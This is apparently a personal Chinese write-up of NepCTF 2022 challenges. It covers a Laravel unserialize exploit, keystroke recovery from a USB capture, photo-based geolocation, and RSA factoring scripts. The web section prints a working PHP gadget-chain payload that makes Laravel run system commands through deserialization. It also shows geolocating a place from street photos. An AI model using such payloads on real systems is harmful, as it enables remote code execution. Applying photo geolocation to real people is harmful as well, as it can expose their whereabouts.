NepCTF 2022 个人Writeup

比赛简介

  "NepCTF 2022"是由Nepnep联合站队主办的公益招新赛事,旨在以有代表性、有特色的题目培养新生网络安全能力。
  比赛形式:个人解题赛

WEB

Just Kidding

根据信息泄露找到网站源码

在这里插入图片描述

看到hello页面对h3参数反序列化

class HelloController extends Controller
{
    public function hello(\Illuminate\Http\Request $request){
        $h3 = base64_decode($request->input("h3"));
        unserialize($h3);
        return "Welcome Nepctf! GL&HF";
    }

}

继续跟踪到PendingBroadcast.phpdestruct()方法

    /**
     * Handle the object's destruction.
     *
     * @return void
     */
    public function __destruct()
    {
        $this->events->dispatch($this->event);
    }

继续跟进到dispatchToQueue方法, $command$this->queueResolver均是可控的, 利用该方法中的call_user_func方法来进行命令执行。

    /**
     * Dispatch a command to its appropriate handler behind a queue.
     *
     * @param  mixed  $command
     * @return mixed
     *
     * @throws \RuntimeException
     */
    public function dispatchToQueue($command)
    {
        $connection = $command->connection ?? null;

        $queue = call_user_func($this->queueResolver, $connection);

        if (! $queue instanceof Queue) {
            throw new RuntimeException('Queue resolver did not return a Queue implementation.');
        }

        if (method_exists($command, 'queue')) {
            return $command->queue($queue, $command);
        }

        return $this->pushCommandToQueue($queue, $command);
    }

Payload:

<?php
namespace Illuminate\Broadcasting{
 
    use Illuminate\Bus\Dispatcher;
    use Illuminate\Foundation\Console\QueuedCommand;
 
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct(){
            $this->events=new Dispatcher();
            $this->event=new QueuedCommand();
 
        }
    }
}
namespace Illuminate\Foundation\Console{
    class QueuedCommand
    {
        public $connection="whoami";
    }
}
namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver="system";
 
    }
}
namespace{
 
    use Illuminate\Broadcasting\PendingBroadcast;
 
    echo urlencode(serialize(new PendingBroadcast()));
}

在这里插入图片描述

Challenger

反编译源代码
在这里插入图片描述
发现 Thymeleaf 的模板注入命令执行

在这里插入图片描述

MISC

签到题

先把压缩包全解压开

import zipfile
import os
import time

path = 'D:\\zips\\'
init = '232.zip'
zip_path = ''

while True:
    for root, dirs, files in os.walk(path):
        if len(files) < 2:
            zip_path = path + init
        zip_file = zipfile.ZipFile(zip_path)
        file_in = zip_file.namelist()[0]
        zip_file.extract(file_in, path=path)
        zip_path = path + file_in
        print(zip_path)

用tshark把usb的数据提出来

tshark -r .\keyboard.pcap -T fields -e usbhid.data > out.txt

在这里插入图片描述

脚本计算,手动添加下划线即可

花花画画画花花

分解出以下文件

-a----         2022/7/13     13:19        3516251 audio.mp3
-a----         2022/7/13     13:19         133185 DB7630918123B2D811D50E3FD6C51B53.jpg
-a----         2022/7/13     13:21           6165 wangxinling -  (PolarPeak) [Hard].osu

尝试了音频隐写和图片隐写均无效果。

下载osu!查看谱面图,照抄flag即可。

在这里插入图片描述

少见的bbbbase

Jphide隐写,密码空,这里试了好几次爆破密码,结果居然是空 = =

Base58解码即可。

馅饼?陷阱!

是个社工题,给了两张图片问你好兄弟去哪家银行转账的。这题有点漏洞,其实可以考虑爆破了,应该再添加一些细节信息,比如哪个网点之类的。

首先图1:

比较明显的是东北饺子城,本来想结合图2的省份搜索,但是没有搜到。

关注到饺子城旁边那个建筑大门,依稀辨认出是XX市第一XXX。
开始以为是第一研究所,也没有检索到有用信息,后来想了想,感觉建筑风格不像,结合建筑风格,仔细看了看可能是幼儿园,这点后来为解题提供了关键思路。

在这里插入图片描述

图2

可以看到左上角的银行,应该就是要求这个银行的名字。
旁边如家酒店,连锁店太多了,这条线索直接不用尝试。
可以看下右下角车牌露出了琼,大概率猜测是在海南省,虽然不排除海南的车牌开去了其他省份,这里可以先记下。
本来想通过左边底商下面的大禾寿司店和美妆店定位到城市,但也没有找到相关信息。
尚德X茶这个字我也没认出来,我一直以为是凉茶。。。
然后中间偏右一点的最上方,看到了露出了一个中国水利的logo

在这里插入图片描述

根据以上信息,通过开源情报搜集,检索三亚市的某个地点很大程度吻合以上信息:
东北饺子城、第一幼儿园、水利大厦

在这里插入图片描述

马上去查了一下街景照片,果然是三亚市第一幼儿园

在这里插入图片描述

然后接着在附近找到了图2的位置,旁边的银行就是中国光大银行

在这里插入图片描述

Crypto

Signin

RSA结合中国剩余定理
Sage求解出c,计算即可

from Crypto.Util.number import long_to_bytes
import gmpy2
import sympy


n = 
e = 65537
c_mod_p = 
c_mod_q = 

pp = gmpy2.iroot(n, 2)[0]
# print(pp)
p = sympy.prevprime(pp)
q = gmpy2.next_prime(p)
print('p =',p)
print('q =',q)
assert p*q == n
phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)

# sage
#
# p=
# q=
# c_mod_p=
# c_mod_q=
# x=crt(c_mod_p, c_mod_q, p, q)
# x


c = 
m = pow(c, d, n)
print(long_to_bytes(m))

中学数学

P>>500 设为 c

q和p+c接近
所以pq和p(p+c) = pq + pc 接近
因此推测出p大概的值

可以确定p的248个16进制高位
再就是RSA的高位攻击,求解出p和q即可

import gmpy2
from gmpy2 import *
from Crypto.Util.number import *

e = 0x10001
n = 
c = 

pp = gmpy2.iroot(n,2)[0]
ac = pp * (pp>>500)
ppp = gmpy2.iroot((n-ac),2)[0]
print(hex(ppp))

# sage
# n=
# p4=0xa72571e3997753c2a461597dd4a97db67223ea6ef7430fd9c446ab705d9cdbe0f54fe6ba1b500badd2d574d38c0a7282a520c848e8b7536751c081a617216c85c45ea534c7fc032e7e71eb9a386cd962f0ef642108fa9e42fc66abe2e9ca53f1851978b8c4eaf4c994ef62fdffc8b50cc1e9300c3bf1b50e90c6079a
# e=0x10001
# pbits=1024
#
# kbits=pbits - p4.nbits()
# p4 = p4 << kbits
# PR.<x> = PolynomialRing(Zmod(n))
# f = x + p4
# roots = f.small_roots(X=2^kbits,beta=0.4)
# if roots:
#     p= p4 + int(roots[0])
#     print ("n",n)
#     print ("p",p)
#     print ("q",n/p)
#


n =  
p = 
q = 
phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))

RE

快来签到

使用结点视图查看,需要更改一下默认的结点数量上限

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值